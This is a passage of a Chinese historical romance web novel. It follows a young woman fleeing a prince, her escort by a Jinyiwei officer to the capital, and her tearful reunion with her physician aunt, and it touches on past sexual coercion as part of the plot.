发现是空的,崔令瞻半晌无言语,默默放回了原处。 墨砚捧起盛着安神茶的茶盏小心翼翼奉给崔令瞻。 崔令瞻摆摆手,浅淡道:“传本王令旨,命金修茗即刻去追可疑马车。给广江各州府发通缉文书,便说燕阳城防舆图失窃,务必将人拿下,贼人便是锦衣卫也无需留情,一切后果本王担着。贼人死不足惜,生死不论,赏黄金二百两,但不许伤他身边的女子一分一毫,违者斩。” 墨砚机灵:“奴才明白,贼人挟持了良家子为质,再怎样都不能伤及人质的。” 崔令瞻点点头,低眸轻喃:“凌榆白。” 墨砚:“……” “安排京师那边查查北镇抚司凌榆白。” “是。” 刻不容缓,墨砚不敢耽搁,领命而去。 不过是一名北镇抚司的指挥佥事,也敢在他的蕃地猖狂过境,一想到那厮可能拐骗了阿芙,崔令瞻眸底顿沉,杀心暗起。 虽说他不信阿芙能与锦衣卫扯上联系,但保险起见还是命金修茗亲自走一趟。 是与不是,一目了然。 徐峻茂皱了皱眉,好像被人盯上了。 巷子口从初三开始总有陌生人,或摆摊或散步,待他一背过身,窥视的目光立即来回逡巡。 他冷笑一声,乘车故意绕了半条街。 自被丢出王府距今已有四十余日,徐峻茂年纪小可也并非不通世情,古往今来哪个坐拥美人的英雄不是文治武功之才。 而他,似乎什么都没有。 他低头瞅瞅自己的手,肌肤比女孩子还细嫩,没沾过阳春水,没碰过刀剑,举一百下石锁就气喘吁吁,直到遇见毅王那般英武森然的男子,他才顿悟把同龄人打趴下没什么了不起,把阿芙举得高高的也一般般,因他连王府侍卫的拳头都接不住。 假如毅王亲自出手,他的腿应是废了吧? 这样的他便是见到了阿芙又怎样?根本护佑不了她。 娇养长大的小公子哥原对名利看得极轻,也曾因读书挨过父亲不少训斥,是从何时开始变得认真起来的? 小厮记得,从今年二月十九,公子挨了一顿打后。 徐峻茂记性极好,说过目不忘略显夸张,却也差不太远,脑子又灵活,擅长举一反三,在进士世叔的苦心教导下,突飞猛进。 世叔乐得合不拢嘴,断言他加上原本的基础,今年有望一举高中。 徐峻茂:“那明年我就能参加会试、殿试了。” 万一运气好考个进士,多威风,他就去御史台,找机会参毅王一本。 世叔:“你还是先考上举人再说吧。” 孩子是个天赋怪才,这话他没敢说出来,一切静等结果。 徐峻茂觉得没意思,拜别世叔乘车回家,跟了他一天的小尾巴依旧锲而不舍。 除了毅王的人,他想不出谁还会对一个交际简单的清安县小公子感兴趣。 被情敌盯着的感觉真微妙,愤恨、得意。 得意是因为毅王害怕了。 那种感觉唯有情敌之间才能感知。 毅王的眼底有一丝不易察觉的嫉妒。 徐峻茂撇撇嘴,跳下车,故意与路旁的货郎闲聊,聊完买了几样货物扬长而去,在他离开后不久,那货郎就被人架走了。 他忽然有一种极其不安的念头闪过,阿芙是不是出事了? 五月初四的傍晚,程芙累极了,脑袋像灌了铅,晕倒前恍惚看见凌云接了她一把,也可能是幻觉,以凌云的个性,多半是眼瞅着她一头栽倒地上,然后笑呵呵问她怎么啦? 脸着地的话很没意思,希望凌云不要拿这种事开玩笑。 “喂喂喂,都说不凶你了,怎还气晕过去……”凌云略显生疏地托起程芙。 仿佛掬起了一捧水月,水月在他手里流淌弯折,仰颈曲成了一道靡-艳的弧度,凌云大脑空白了一瞬,心头骤然滚烫,竭力去忽略那种不可思议的弹-软,厚实实地碾压他的心口。 是她自己贴上的,不关他的事。 这不是他感兴趣的类型,况他也没饥-渴到对没有意识的女人下手。 他知道她只是短暂晕厥,激动的,便维持着这个姿态盯了她好一会,也知道如果对她做什么,她不敢反抗,更不敢声张……不是,他好像不对劲。 不能够的,她冒死逃了出来,要是再被他……岂不是输得很惨? 她那么委屈。 不能再输了。 他不想她输。 他压下了不为人知的邪念,轻轻将她放到榻上,拎起一件直裰飞跑出去,跳进了微凉的湖水中,久久未曾浮出水面。 程芙自己醒来,发现天亮了,旁边的小几放着热腾腾的粥和两只鸟蛋,还有一碗新鲜的野果,她饿坏了,顾不上梳洗狼吞虎咽。 这是昨日至今的第二餐。 凌云依旧冷着脸干活,端着铜盆走进来,放下热水,默不作声离开。 程芙:“多谢大人。” 凌云:“……” “我的热毒似乎退了。”她摸摸额头。 “昨晚我喂了你两颗药丸。” “原来如此。” 而后,两人不再说什么。 她把自己收拾干净,爬上车时微喘,将将病愈的人都会有点儿虚,便又吃了两颗稳固一下。 这是应急的药,见效快,药力也猛,不宜多吃,出门在外讲究不了太多。 凌云坐在外面驾车,自从她受伤,他就未曾强-迫她骑行,还弄来了一辆车。 程芙守着小泥炉烧水,煮开后放凉一些,端给他:“凌大人,请喝。” 凌云接过茶碗一饮而尽,继续驾车。 “大人。” “嗯?” “谢谢您。”她歪着头看他,目光盈盈,亲切温和。 凌云意味深长道:“谢什么,我又不是好人,别忘了你还欠我的事,胆敢糊弄,看我揍不揍你吧。” 程芙也不恼,呵呵笑着,柔声说道:“断然不敢糊弄大人,我记性好着呢,对当年的人一点没忘。这一路多亏您的照拂,我才能全须全尾活到现在,虽说您没什么好脸色,说话也不中听,可做的事儿都是实在事。” 她的话软软的,凌云听在耳中,默了默,“知道了,你这马屁拍得挺顺耳,我不会抛弃你的。” “我就是真心实意道个谢,不是怀疑您人品。” “哦。” 程芙眸光微闪,觑着他背影,微抿唇角,安静地退回车厢。 “把门关上,窗子也不要完全打开。” “嗯。”她温顺地应声。 身处车厢内,无需再包着头脸,可也不能将窗子大开,免得叫人注意。 “程芙。”凌云忽然回头。 程芙挑开锦帘,推门露出一张小脸,问:“大人有何吩咐?” “这段路鲜有人迹,你若闷,敞开门窗也行。” 闻听此言,她果然欣喜,眉眼愁霜消融,弯唇笑,似有香气袭人,馥郁如兰。 “果真?那我把窗子全打开。”她欢欢喜喜折返,关紧车门,打开了两扇窗,趴在窗子上看景。 凌云:“……” 他看了看严严实实的车门,抿唇扭过头。 “凌大人,下一站是哪儿?” “周家镇。” “下下一站呢?” “曲水城。” “我们还要多久才能出广江?” “乘车六日,骑行五日半,我自己骑行不到五日。” 程芙:“……” 她摸了摸纤细的脖颈,哑口无言。 “没出过远门?”他笑道。 “嗯。”程芙摇摇头,“我以前以为澹州到清安县便是人间的距离。” 凌云回头想要看看她,自是什么也瞧不见,便转过头,目不转睛盯着前方,“怎么敢只身登上官船去澹州的?” “您不是查过了。” “没听过你的版本。” “徐知县瞧中布政使司一个职缺,别人花一万两都买不到,范参政说只要我做他的第九房姨娘,那职缺便白白送徐知县。”程芙道,“我居然比一万两还贵。” “然后徐峻茂帮你逃走?” “嗯,他给我买了假册籍和路引。” “没给你路费?” “钱都被黑市的人诓走了,才没给的,我也等不了。” “苏月嫣为何要杀你?” “这个不能说,涉及女儿家私-密,纵使她不义,我还有医德。” “蓝雪和松歌均是武婢,没想到她们三人还拿不住小猫儿似的你。”凌云笑了笑。 程芙捏紧了手心,“松歌不会水,一个浪打来便没了,蓝雪要照顾苏姑娘,苏姑娘自恃有蓝雪,不等渔船施救便将我按进水里,反叫自己抽了筋。” 凌云“嗯”了声,“阿芙确实委屈。” 是吗?连一个不相干的人听了都觉得她委屈,崔令瞻却逼她为奴,而她惊魂未定,仓促中认下了,将满十七便被他诱-哄着破了身子。 好痛好痛的,她痛得皱眉,而他半眯着眼,拧着眉舒畅地倒抽气,齿间溢出低哑的闷哼…… 程芙捂住耳朵,眼眶微红,关上了窗。 又是一阵漫长的静谧。 凌云突然提起徐峻茂,莫名的阴阳怪气,说:“那我可比徐峻茂强不少,这一路又当镖师又当婢女,还倒贴钱。” 程芙轻轻挽了挽鬓角碎发,细声道:“不叫您贴钱的,等出了广江咱们就把金子平分,分您二十五两,不,三十两,都够在京师买宅子了。” “给我三十两,你不就买不起宅子?” “我投奔姨母。” “那伺候你保护你的费用怎么结?” “……”程芙唇瓣张了张,涩然道,“要不再多许您五两?真不能更多了,京师我人生地不熟,总得自留一点嚼用。” “也是,我都拿走了,将来你再遇到事儿,定然哭哭唧唧赖上我,真烦人。”凌云道,“不要也罢,你留着自己花吧。” 程芙低眸道,“别强撑着了,我知道您缺钱。付大娘早都跟我说了,您天天在万春阁与花魁胡来,穷得娶不起媳妇。” 凌云:“……?” 第42章 脱口而出的话没过脑子, 倒也没有讽刺凌云的意思。 却把他说沉默了。 马车淌过水洼,一路向北,而她和凌云之间隐约凝滞了, 呼吸都略带尴尬。 程芙确实在心里瞧不起这种人, 可凌云花自己的钱与花魁正当合法交易, 关她什么事啊, 于情于理都不该当面揭人的短。 说到底,唐突的背后是她着急与他分割。 程芙自己描补:“阿芙拙嘴笨腮, 原想尽最大的心意还大人些许人情,没想到话一说出口这般难听。” 凌云耳廓微动, 门后传来她绣鞋踏着的木板声, 门扉“吱呀”打开,她就立于他背后,转而蹲下, 他的手心陡然潮湿,喉咙发紧。 她赔着笑:“您没经过真正的苦日子,可能一时觉着钱没多重要,其实三十两黄金足够普通人过好一生了,您用来安家立业,娶个媳妇正经生活……” “呵。”凌云一双素来自带三分笑意的桃花眼,蓄了寒霜, 冷声打断她, “你谁啊,我的事要你管?” 这话说得相当不客气了。身后的人果然卡了壳,支支吾吾不再言语。 他不禁懊恼方才的冷言冷语,若能再婉转些,随便撒句谎, 至少告诉她我也没那么穷……都好过冒犯她。 否则,不就坐实了自己又穷又荒-淫。 凌云烦躁地驭马疾驰。 都做锦衣卫了,谁还在乎名声啊,可她嫌他穷…… 真逗,便是再穷他也养得起她,一次养十个。 不过她的脾性“相当好”,自不会与他记仇的,一路上温和懂事,除了需要他伺候,基本没缺点。 他们在周家镇稍作休整,沐浴更衣吃了顿饭,登车时,凌云忍不住虚扶她一把,递给她一串小粽子和彩线手环。 “谢谢大人。”程芙从善如流收下,也想起了今日是端午节。 凌云:“端午中夏,岁岁安康。” 程芙:“也祝大人岁岁安康。” 他笑了笑。 时下端午节的女孩子有绑彩线手环辟邪的习俗,妇人则无此惯例。 程芙忘了今日是端午,也没心思区分自己是女孩还是妇人,凌云给她这个兴许是见她年纪不大,亦或尚未成亲。 过了端午,早晚倒还算适宜,中午日头却火辣辣的,凌云让程芙一直待在车厢内。 他怕她晒晕了添麻烦。 展眼过去了六日,剩下的路坑坑洼洼,难免颠簸,强行乘车的话能把骨头架子颠成齑粉。 是时候弃车赶路了。 多结实宽阔的车,少说也值二十两,堪比一头骡子,就这么弃之路畔,委实糟-践。程芙吃过苦,晓得银钱的好处,眼底蕴满了踌躇和心疼,仿佛浪费的是她的银子。 凌云收回视线,垂眸卸掉车辕,将包裹挂在白马背上,自己翻上了黑马,冷着脸对地上的程芙说:“过来。” 声音低醇,有着细微的温柔,融进了晚风。 她依言走到他伸手能探到的地方,被他拎上马背,坐于他怀中,温暖香软,双肩尚不及他胸膛宽阔。 他忽然想起毅王身边的她也如此刻般温顺。 “且忍忍,明日卯时出广江。”凌云低低道,“再歇息就要被毅王的人追上,万一是封曲,咱俩的麻烦可就大了。” 程芙抬起眼帘,银色的月光与他深邃的乌眸都笼罩着她,“嗯,一切就拜托大人了。” “您是不是打不过封曲?”她问。 凌云有些下不来台,脸一□□:“他多大年纪,我才多大?” 也是。 程芙抿一下唇,回:“您说的对。” 女孩子低着头,从他的方向便能窥见一抹秀气的小鼻尖,微微翘,月影清辉下白腻腻的,而后,他的目光阴差阳错扫过她鼓鼓的胸口,停滞。 凌云皱眉,仰首望了望夜幕。 许久之后,程芙听见了他幽幽的声音:“当时,你并未失去意识,尚余清醒,对不对?” 猝不及防的一句话,像是冰水泼在了烧红的烙铁上,刺啦——炸响开来,程芙的肩膀轻抖,神色张皇,连抬眸看他的勇气都没有。 “我早就知你装晕。”凌云慢慢地说,“我盯着你看了那么久,只是好奇你能晕多久,万一装不下去,会不会哭着求我。” 这几日,她都在暗暗防备他,关紧了车厢的门,当他坐在她附近,她就像是被天敌逼近的小虫,硬邦邦的,睡觉时握着他给的匕首,若非客栈里,如何也不肯更衣擦洗,比任何时候都听话,有意无意地想与他分割。 原来初四那晚,晕倒在他怀里的她很快就醒了,恢复了意识,却激发了装死的本能,动也不动。 她知道那一刻的自己正被面前的男人以怎样的方式抱着,如何相抵着,审视着,严丝合缝的每一处都传来滚烫的温度,锋利的剑端直指她要害。 时间仿佛都凝固了,那一刻他一定是在犹豫要不要伤害她,逡巡她的目光不啻野兽逡巡领地的猎物,但凡她泄露一丝挣扎,后果不堪设想。 她把自己的灵魂抽出来,浮在上空安静地观察这一幕,直到凌云理智回笼,收回利剑,放开了她。 她总是错估他们的卑劣与危险。 就如没料到崔令瞻会对微贱庶民之身的她产生兴趣;凌云对卑微且已失贞的她勃发直白的春兴。 怪只怪她是女子,又生的貌美。 弱肉强食的规则下,她是谁都能咬一口的弱小。 凌云漠然移开视线,微微拢住怀中瑟瑟发抖的她,“你已经足够倒霉,像一道发苦的菜,我偶尔会感到饿,但不会真吃了你。” 他的声音在夜的风与马蹄声中极淡极清。 程芙:“……” 凌云:“聪明的话权当什么也没发生,演得不像,或许我就反悔了。” 程芙:“……” 她动也不动,一声也不敢吭。 “是不是生气了哈哈哈。”凌云笑了,“小可怜,就没遇到几个好人。” 程芙:“……” “有没有发现还是毅王待你最好?”凌云半眯着眼眸,“他要冒宗室之大不韪娶你,而你只顾着恨他,应是不知这有多难吧?再不会有人比他更珍惜你了。” “我只想回家。”她轻轻道。 “你哪来的家?” “有姨母的地方便是家。” 凌云抿紧了唇,不再说什么。 “大人,您有一句话说的不对。” 冷不丁听见她开口,凌云松了口气,眉眼微亮,“哪里不对?” “这世上珍惜我的人很多,便是现在不够多,将来也会越来越多。”程芙说,“毅王再好,也是别人觉得,谁觉得他好便嫁给他好了,而我,一定能遇到让我舒心的人,相互珍惜。” 凌云:“……” 珍不珍惜不清楚,但他清楚眼前这张小脸能够让许多男人听她的话,就如此刻的自己,鞍前马后。 许久之后,他神色怏怏,低落道:“困吗?” 她强打着精神用力摇摇头,猜测已是四更天了,“不困,我能坚持到出广江。” 出了广江,崔令瞻的令旨就不好使了。 再也不用担心面对官府的盘查,可以自由自在走在阳光下,住最好的客栈,吃一些能让自己开心的好吃的。 五月十二夏至,穿过长长的石桥,此后不再是广江的辖区,二人直奔金河官渡,登船前凌云买了一包糖果给她吃。 程芙愕然,旋即双手接了过去,“又让大人破费了。” 凌云转身收拾包裹。 有佝偻老妪路过,笑呵呵瞅着小夫妻俩,“真漂亮,生出来的娃娃定然有福气的。” 程芙坦然自若,凌云脖子往外冒热气。 没想到外面也有福仙楼,点心也不止八珍糕。 程芙尝了一口玫瑰酥糖,入口即化,香味有余,清甜上却欠火候,略腻,远不能与从前吃过的比,她一愣,自嘲而笑,才吃了多久的金馔玉食,就开始拿大了,连福仙楼的玫瑰酥糖都不放眼里,往后想吃都不定买得起。 凌云见她不喜,便道:“外面的饮食自是不能与王府相提并论,你得适应。这一路你吃的碧粳米仅是运气好,遇上了我才有机会买,正常过日子,应是很难见到的。” 程芙垂眸:“我知道。” “你尝尝旁边的糖霜玉蜂儿,广江的不正宗,越往北越好吃。” 这是程芙从未吃过的,好似一只蜂蛹,唇瓣轻启咬了口,软糯糯,清甜莲香。 “好吃。”她说。 凌云弯了弯唇。 她不仅爱吃零嘴还爱吃肉,因病戒了几日,如今痊愈且逃出生天,胃口就开了,午膳吃了一大只卤猪蹄。 凌云咬着驴肉火烧怔怔瞅着她。 晚上她又吃了一海碗葱烧羊肉。 凌云:“……” “你在王府时常吃不饱吗?”他问。 程芙:“不能吃太饱。薛姑姑总是叮咛这也不能吃那也不能吃,毅王也会说什么八分饱九分饱。” 她是伺候人的小玩物,下人怎么可能任由她吃撑,好吃的许多,但都掐着量,况且她心里装着事,也没多少胃口。 凌云心底莫名一酸,却还是建议:“我觉得你不能再吃了,别撑晕了吧……” 程芙:“……” 接下来六天六夜的路程,两个人都很舒服,天亮时程芙趴在车窗口已经能瞧见京师城门的轮廓了! 凌云沉默而坐,凝目看她婀娜的背影,她转过脸,他仓促移开了眼。 “大人,我跟你说说六年前的事。”她忽然道。 “到了京师自会请你去衙门里细说,叫上画师。” “哦,好。” 凌云不再看她。 程芙:“那大人可否把玉佛还给我……不值钱的。” 凌云不禁又看向了她,右手从怀里摸索几下,摊开手掌,玉佛完好无缺躺在他的手心,递与她。 “多谢大人帮我保管了这么久。”她飞快抓走玉佛,生怕慢一慢他改主意,粉白的手指擦过了他的手掌,嫩得令人心颤。 再行半炷香,穿过巍峨肃穆的春华城门,风光豁然开朗,人声鼎沸,车马骈阗,但见宽阔的道路两旁,店铺鳞次栉比,名目繁多,俨然比燕阳更加富丽堂皇。 街上行人,衣着光鲜,书生公子风度翩翩,姑娘小姐轻纱覆面。 听说站在京师随便丢块石子,准能砸中一个贵人。 程芙花瓣似的小嘴微微启开,全程没合拢过,又羞于没见识的模样遭人勘破,便拉下竹帘,从竹帘的缝隙偷偷看。 她问:“那边是什么,好热闹。” “东市街的方向,今日有集会。” 她惊呼:“这么大的书肆,足有三层高。” “大明门右边的书肆比这里还大,每逢朝廷会试,各地举子汇聚,不知造就了多少才子佳人的话本子。” “您也看话本子?”程芙难掩错愕。 “看啊。”凌云双手环臂。 只不过他看话本子是为了查案,逐字逐句地搜罗,几度看吐了,从普通男女的香-艳传闻,逐渐变得猎奇,什么男男,女女,这些倒还勉强,直到看见了…… 他皱了皱眉,有点想吐。 程芙狐疑地打量他。 “我姨母的双槐胡同离这里远不远?”她问。 “远。” “……” “还有两个时辰的路程,等到了也差不多宵禁。” “又得住客栈。”她皱了皱眉。 “住我家。”凌云淡淡道,“明日一早乘车两刻钟便能到双槐胡同。” 其实两边距离不远,然而清晨道路拥堵,且要回避一些皇亲国戚,王侯将相,自然就远了些。 程芙:“又要麻烦您了。” 凌云抿唇不语。 想到马上就能与姨母团聚,她的一颗心在胸膛里雀跃着,鼓噪着,连带着看凌云也顺眼了几许,渐渐没把那晚发生的事往心里去,只当他许久没见到花魁,无处纾解,才对着她意乱情迷的。 想通了,心满意足扭过头,继续张望街景。 她应是习惯了各种男人的殷勤,从未经历过冷待,以至于对袭来的暧昧稍显迟钝。凌云哼笑一声。 他对她好,她都会大大方方的接受,视为理所当然,不过她有一条好,拿了好处知道感恩。 但他的好,在她眼里其实很廉价,与别人没什么不同,且不能歪一点,否则整个人都要被她否定了。 好男人都该是善意的,殷勤的,任劳任怨,毫无人性的欲-念,这是她的认知。 想必倒霉的毅王便是过于端着,才被她甩了的。 凌云把她带回了家,丢给管事妈妈,便不再管她了。 程芙断没想到付大娘也有看走眼的时候,能在京师有三进院大宅子的穷鬼,再穷也不至于娶不起媳妇的…… 次日一早,有仆妇送来一套体面的新衣裙请她穿戴,“这是琳琅阁的新款,昨日大爷打发人今早定给您送来的。” 程芙再三表谢,仆妇也不拿乔,温和笑着退下。 衣裙尺寸极为合适,程芙望着镜中瘦了一圈的自己,捏捏脸颊,挤出微笑。 她并没有理所当然享受凌云不同寻常的殷勤,临走前把半匣金子偷偷放在被褥里,等下人打扫自会发现的。 五月十九,历时十七日,程芙在京师的双槐胡同,终于见到了阔别长达五年的姨母。 彼时,她趴在窗口,甫一瞥见熟悉的身影,眼眶陡然就蒙上了水雾,因过于激动翻下榻时还踩了凌云一脚,她膝盖一软,摔在了地衣上。 他俯身搀扶跌倒的她。 程芙红着脸道了声歉,素手自他温热掌中滑出,提裙三两步走下马车,兴高采烈朝着对面三十余岁的妇人奔去。 柳余琴目光一紧,熟悉又陌生的姑娘跃入眼帘。 她僵在原地,喜悦在脸上一点一点扩大。 程芙怔怔走过来,视线同样凝注姨母的脸庞。 柳余琴哽咽出声,忙捂住嘴,久久才平复了心绪,道:“你,可是阿芙?” 还是那出挑的模样,不过变成大姑娘了。 “姨母,是我。”程芙喜极而泣。 柳余琴一把抱住她,嘴唇颤抖。 “四年前我搬来京师讨生活,临走时特特托付了原先的货郎邻居,若是瞧见你,定要帮我留个信儿。” 程芙搂着姨母,哽咽:“那位阿爷前年不幸病故,我未能赶上,不过后来得知您中了太医署的会选,我高兴了好几日。” 娘俩抱头痛哭。 自从柳余烟病逝,柳余琴就成了程芙在世间唯一的亲人。不是她不心疼外甥女,也不是不知她在清安县受苦,实在是胳膊拧不过大腿,闹不过徐知县一家。 阿芙姓程,又不姓徐,竟被徐夫人红口白牙赖成了自己的,还要记在名下,所图为何实乃司马昭之心路人皆知。 柳余琴抱着外甥女哭,也哭自己红颜薄命的妹妹。 往事不堪回首,而今血亲还能重逢,都平平安安的,比什么都好。 柳余琴抹了把泪,揽着程芙道:“你再不来,我便要托安国公府的关系去燕阳偷偷接你的,昨儿我才拿到府衙批复的路引。” “幸亏您没动身,否则就急死阿芙了。”程芙不满地嘟囔,眼睛里泛着幸福的泪花。 “你受苦,姨母也会急死的。”柳余琴怜爱地拍着程芙后背,从前她没有本领,求告无门,眼睁睁看徐知县一家霸占阿芙,而今她也算攀了一门权贵。 柳余琴擦擦泪:“先不说不开心的。好孩子,你阿娘生前托我给你留了好东西。” 这些东西落在清安县徐家恐再难到程芙手中,所以柳余烟托付给了姐姐柳余琴。 程芙正欲说什么,忽然想起了凌云,忙提醒姨母,娘俩一齐上前施礼,再三表谢。 柳余琴:“按说现在我们就该请大人去最好的酒楼掸一掸风尘。可我们和大人的身份到底是不宜坐在一处饮酒,只能改日再亲自登门厚礼相谢,还望大人莫要嫌弃。” 程芙站在姨母身后,垂着眼捷,没吭声。 凌云望着她,说:“不必,都是举手之劳。我也有要事需程姑娘襄助,三日后再来叨扰。” 说罢,抱拳拱一拱手,阔步辞去。 柳余琴讶异,看向程芙。 “当年娘亲救的阿窈好像是他妹妹,恰巧我见过接走阿窈之人的长相,到时随他去官衙找画师勾勒出来。”程芙轻描淡写道,“如此也算抵了他护送之恩。” 柳余琴唏嘘不已,叮嘱程芙:“那你可要认真些,莫要辜负了凌大人一番辛劳。” “嗯。” 程芙与姨母抹着眼角,低声絮语,渐行渐远。 她们有一堆的肺腑之言契阔,不急,回到家坐下慢慢说。 娘俩并肩欢欢喜喜进了屋。 柳余烟的遗物是二十两积蓄、一枚玉镯和一只精致的小医箱。 玉镯质地和玉佛相似,应是同一块料子。 是夜,柳余琴坐在榻上打络子,桑蚕丝编的红绳,编好了穿过佛像圆圆的缺口,挂在程芙脖颈。 “莫再随意取下了,女儿家挂着佛,招福。记得藏进衣内,不叫人瞧见,财不外露。” “是,姨母。” 程芙软软地应声,牢记姨母叮嘱,垂眸缓缓打开娘亲的小医箱,全都是她熟悉的器物,还有一只布老虎,那是阿娘专心诊治病人时,丢给她玩耍,陪伴她的小嬉具。 一切恍如隔世,眼眶瞬间酸酸的。 阿芙好想念阿娘啊。 “我可怜的孩子。”柳余琴将阿芙的脑袋抱在怀里。 婢女见状,忙打水来,一面劝说一面拧帕子,服侍娘俩净面。 “亲人团聚乃天大的喜事,再哭下去岂不浪费了大好时光。”婢女柔声细语。 娘俩这才堪堪止了泪,秉烛说了一席久别重逢的体己话。 就寝前,柳余琴拿起木梳亲自为程芙梳理满头青丝,絮絮道:“医婆地位卑贱,活得艰难,一边挨骂一边赚钱,顿顿眼泪泡着饭,我和你阿娘好不容易盼到了皇后娘娘推行女医的懿旨,可她却被困在了徐知县的深宅大院,忧虑成疾。” “阿娘为了保护我才舍不得离开。”程芙抽泣了一声,“我没给阿娘丢脸,也考中了太医署会选,阿娘泉下有知定会开心的。” “阿芙是个聪明的孩子。” 程芙抿笑。 大昭的医婆越来越受人重视,比普通的匠人还有脸面。从前翻柳余琴白眼的人,现在主动送米送鸡蛋修复关系。 “姨母这些年还是一个人生活吗?”程芙小心翼翼问。 “当然。”柳余琴说,“我是女户,在衙门记了档,别的地方不好说,但在京师天子脚下,我看谁敢吃我绝户!何况,我现在还有了你。” 她慈爱地摸摸阿芙脑袋。 程芙弯唇笑:“以后我陪您。” “嗯,你是妹妹留给我的大宝贝。” “我也要立女户。” “那不行。” “为何?” “我与你阿娘年少被卖,迫于无奈做过一段时间瘦马,名声不好又不想为妾,才干脆立了女户。”柳余琴轻言细语道,“但你不一样,你干干净净,值得遇到一个爱你的人。” 干净?她眼前缓缓浮出了崔令瞻拧眉的模样。 柳余琴:“不过是经历了一个男人,你无需放在心上。这里是京师,没人知悉你过往,便说是死了男人的小寡妇都行。京师寡妇再醮的事儿不稀奇。” 程芙红着脸低低应了声。 确实不至于为个男人便视全天下的男人如洪水猛兽,世间多的是好儿郎。孤苦惯了,她也希望有个能顶用的正派人陪同自己照顾姨母,和和美美生活一辈子。 柳余琴为人吃苦耐劳,虽说医术不如妹妹,可也是当地小有名气的医婆,闲暇则去寿善药馆做工,维持生计不成问题,且还攒下一笔养老钱。 正因如此,她严肃推拒了程芙的二十两黄金,那是遭瘟的毅王合该赔给阿芙的受苦费用,也是阿芙今后的依仗。 “傻孩子,姨母不缺银钱。”她说,“反倒是你,定要多攒些傍身的体己,切莫挥霍。“ 姨母不收总不能一直硬塞,拉拉扯扯反倒坏了温情,程芙只得另寻机会—— 作者有话说:求营养液,mua~~[求你了] 第43章 当晚歇下, 程芙沾枕即睡,梦潜黑甜,固然有旅途奔波劳碌的原因, 主因却是一颗心安定, 有了着落。 天下间最安全的地方莫非京师, 便是目不识丁的民间走卒也知藩王无诏不得入京, 尤其手握兵权的。 而崔令瞻不仅是藩王还重兵在握,许他一百个胆子也不敢入京抓她, 更奈何不了京师的人事。 程芙信心满满,自觉游鱼入江海, 浑身放轻松, 在姨母为自己精心布置的闺房里甜甜闭目。 她枕着塞了木樨花芯的小枕,盖上全新的薄衾,陷进四合如意纹的新褥子, 阳光与皂角的淡淡香气缭绕鼻端,钻进鼻腔,全都是姨母和婢女冬芹一针一线缝制。 再不会有人把滚烫的掌心覆盖白与粉的弹-软之地,侵扰她浅眠;也不会有人故意用足背挠她的足心,引着她踩他足背。 更不会有人不知-餍-足地欺负她了。 她真是畅快极了。 这一晚的梦变得安静、从容、温和,甚至带着丝莫名的悲凉。崔令瞻斜倚很远很远的一株梨花树,默默看她, 近前不得。 而她撇开了脸, 咬唇背过身。 崔令瞻轻声唤她:“阿芙,别闹了。” 一条巨大的天堑横亘她与他之间,挡住了他的声音,他的气息。 她攥拳回头,深吸口气, 大声告诉他:“我恨你!” 风把诘责送入他耳中,他的脸庞变得煞白,又一阵凉风拂过,吹散了他轮廓,将一切悉数化作了前尘,仅剩梨树犹在原地婆娑摇曳。 隔壁的寝卧,柳余琴叹了口气,盯着妹妹从前惯用的一把木梳发呆。 有些话尚不好直接问阿芙,免叫惊魂将将定下的孩子再生忧怖,反正来日方长,不如慢慢打听。 不过她留了个心眼,亲自去浴房帮阿芙沐发,趁机端量了一圈那副-初-长-成的娇妍身段,全无淤青和疤痕,简直白玉无瑕,提着的一口气方才松了一半。 作为医女,自是清楚此般水嫩光滑的皮子绝非天生丽质就能拥有,显然受到了精心的调养呵护,且尚未经过一星儿摧折,可见阿芙在遭瘟的毅王手里并未吃什么皮肉之苦。 但她还不能完全放下心,直到亲自为阿芙诊了脉,又问清月事-带-下等情况,还问了她平日吃过什么药材,这才算真正地放下了心。 孩子里外都没遭过虐-待,各处都全乎,除了略微气虚。 没想到毅王还是个怜香惜玉的,强-占归强-占,倒也不似京师的权贵,为着自己享受乱灌避子汤,也没有以宠爱为名,恩赐似的让女人怀孕。 阿芙今年才将将满十七,这种年纪怀孕生子不知得落下多少病根,运气不好难产的也大有人在。 皇后娘娘是第一个意识到这点的女子,自五年前就开始推行女子年满十八生育方为最佳,上行下效,平民没有良好的避-孕条件就选择晚成婚,如此也算响应了皇后娘娘的慈诏。 可百姓老实不代表权贵也老实,毕竟男人骨子里就爱嫩的,有的病态之人还专门捡将将及笄的鲜花嫩蕊,可劲嚯嚯,大一两岁都不乐意。 因而宠妾十六七岁,甚至及笄就怀有身孕十分常见。 毅王不叫阿芙饮避子汤和生育已然是权贵中极其罕见的品种了。若非他强-占民女,柳余琴对他倒还有几分钦佩。 但他确实不顾阿芙的意愿强-占了,柳余琴越想越气,毕竟吃亏的是自家的孩子,看把孩子委屈的。 她在心里诅咒毅王被削爵,最好燕阳再易主,且看他去哪里威风,呸!犹不解恨,她又将毅王的祖宗十八代咒骂一遍。 而后猛然想起毅王的祖宗十八代包括谁,想起威严慈和造福天下女子的皇后娘娘,她顿生愧疚,忙不迭闭目合掌念了句佛。 双槐胡同占地不大却也算京师中等偏上的住宅区,且与大昭权贵集中的前门大街仅隔两条街,沾了贵气,有了噱头,房价拔地而起。 立即吸引不少买家,诸如商铺东家、祖上大富大贵过的秀才、拥有一座肥沃田庄的太医署正九品吏目。 另外五家也都是衣食富足之户。 以柳余琴的能力购得此处实乃勉强,原本她也没抱太大希望,可安国公夫人竟记得这茬,怜她四处托人购宅辛苦,便吩咐下人去查一查,赶巧了,双槐胡同正有家四合院代售,更巧的是卖家还是安国公府的一名管事。 管事一听夫人垂问此事,立时一个机灵,便将宅子以略低于市场的价格卖给了柳余琴,中间交割房契、官契等一应文书顺畅如流水,全程不用她费心。 就连官差的茶水费都是管事自己掏的。 柳余琴对管事感激不已,却也知这份不同寻常仗义的背后来源于谁,侍奉卢氏时益发体贴周全。 小人物千难万难才能办成的事,放在卢氏那儿,不过是午后一句闲聊,眨眼功夫就办妥了。 思及此,柳余琴庆幸抱紧这棵大树,复又喟叹自己漂泊半生总算有了家,想到家里还有阿芙,眼眶顿时湿润了,一股暖意流进了心扉。 初到京师之人许多东西都得慢慢适应,柳余琴便打发下人去寿善药馆告了假,在家专心陪外甥女。 五月二十清早,柳宅小厨房炊烟袅袅,因是女户,人口极为简单,所有的下人也都是女的,两名婢女,一个厨娘,一个粗使婆子, 她们轻手轻脚,尽量不吵醒远道而来的程芙,由她睡至天光大亮。 程芙一睁眼就见窗边立着个十三四岁的小丫头,发现她醒了,立即眯着眼儿笑,介绍自己:“奴婢小桃,今年十四,奉太太之命往后服侍您左右,还望……望奶奶不弃。” 